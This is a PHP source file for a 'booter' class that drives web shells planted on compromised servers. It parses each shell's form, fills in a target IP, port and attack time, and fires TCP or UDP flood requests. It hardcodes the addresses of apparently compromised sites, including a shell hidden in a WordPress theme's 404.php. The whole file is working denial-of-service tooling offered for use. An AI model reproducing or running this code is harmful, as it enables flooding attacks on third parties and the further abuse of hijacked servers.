[botw44]

PHP Code


<?php
//Website: http://sourceforge.net/projects/simplehtmldom/
require_once("simpleHtmlDom.class.php");

class botw44Booter {

    private $url      = null;

    public $attacktime      = 1; //in seconds
    public $port      = null; //for tcp shells
    public $ip            = null;
    public $vars      = array(
            "ip"=>array("ip","host"),
            "time"=>array("time"),
            "port"=>array("port"),
            );
    public $domaintimeout   = 1;

    public function stripToDomain($url,$addBefore="") {
        if(filter_var($url, FILTER_VALIDATE_URL)) {
            $domain = parse_url($url, PHP_URL_HOST);
        }
        else {
            $domain = str_replace("/", "", $url);
        }
        return $addBefore.str_replace("www.", "", $domain);
    }

    public function checkShell($url) {
        //check if host is resolvable (fast)
      $this->url = $url;
        $fs = @fsockopen($this->stripToDomain($url), $port=80, $errno, $errstr, $timeout=$this->domaintimeout);
        if(!$fs) {
            echo "domain timeout";
        }
        else {
            //get the source of the script with simpleHtmlDom.class.php
      $tmpvar = @file_get_html($url);
      if($tmpvar) {
            $this->renderHtml($tmpvar);
      }
      else {
            echo "shell not found";
      }
        }
    }

    public function renderHtml($html) {
      //render html
      $method = null;
      $url = null;
      $vars = [];
      foreach($html->find('form') as $e) {
      $method = strtolower($e->method);
      $url = $this->url.$e->action;
      foreach($e->find("input") as $i) {
            if(in_array(strtolower($i->name), $this->vars["ip"])) {
            $vars[$i->name] = $this->ip;
            }
            if(in_array(strtolower($i->name), $this->vars["time"])) {
            $vars[$i->name] = $this->attacktime;
            }
            if(in_array(strtolower($i->name), $this->vars["port"])) {
            $vars[$i->name] = $this->port;
            }
      }
      break;
      }
      if($method=="post") {
      //tcp
      $this->tcpRequest($url,$vars);
      }
      if($method=="get") {
      //udp
      $this->udpRequest($url,$vars);
      }
    }

    private function tcpRequest($url,$vars) {
      $postdata = http_build_query($vars);
      $opts = array('http' =>
      array(
            'method'  => 'POST',
            'header'  => 'Content-type: application/x-www-form-urlencoded',
            'content' => $postdata
      )
      );
      $context  = stream_context_create($opts);
      $result = @file_get_contents($url, false, $context);

      $pattern = preg_quote("Packet complete at ", '/');
      $pattern = "/^.*$pattern.*\$/m";

      if(preg_match_all($pattern, $result, $matches)){
      echo strip_tags(implode("\n", $matches[0]))."\n";
      }
    }

    private function udpRequest($url,$vars) {
      $result = file_get_contents($url."?act=phptools&host=".array_values($vars)[0]."&time=".array_values($vars)[1]."");

      $pattern = preg_quote("Completed with ", '/');
      $pattern = "/^.*$pattern.*\$/m";

      if(preg_match_all($pattern, $result, $matches)){
      echo strip_tags(implode("\n", $matches[0]))."\n";
      }
    }

}

$booter = new botw44Booter();
$booter->ip = "127.0.0.1";
$booter->port = "443";
$booter->attacktime = 2;
$booter->domaintimeout = 3;
print_r($booter->checkShell("http://173.201.177.81/wp-content/themes/twentyten/404.php"));

//tcp
//http://clanspw.funpic.de/PHP/
//udp
//http://173.201.177.81/wp-content/themes/twentyten/404.php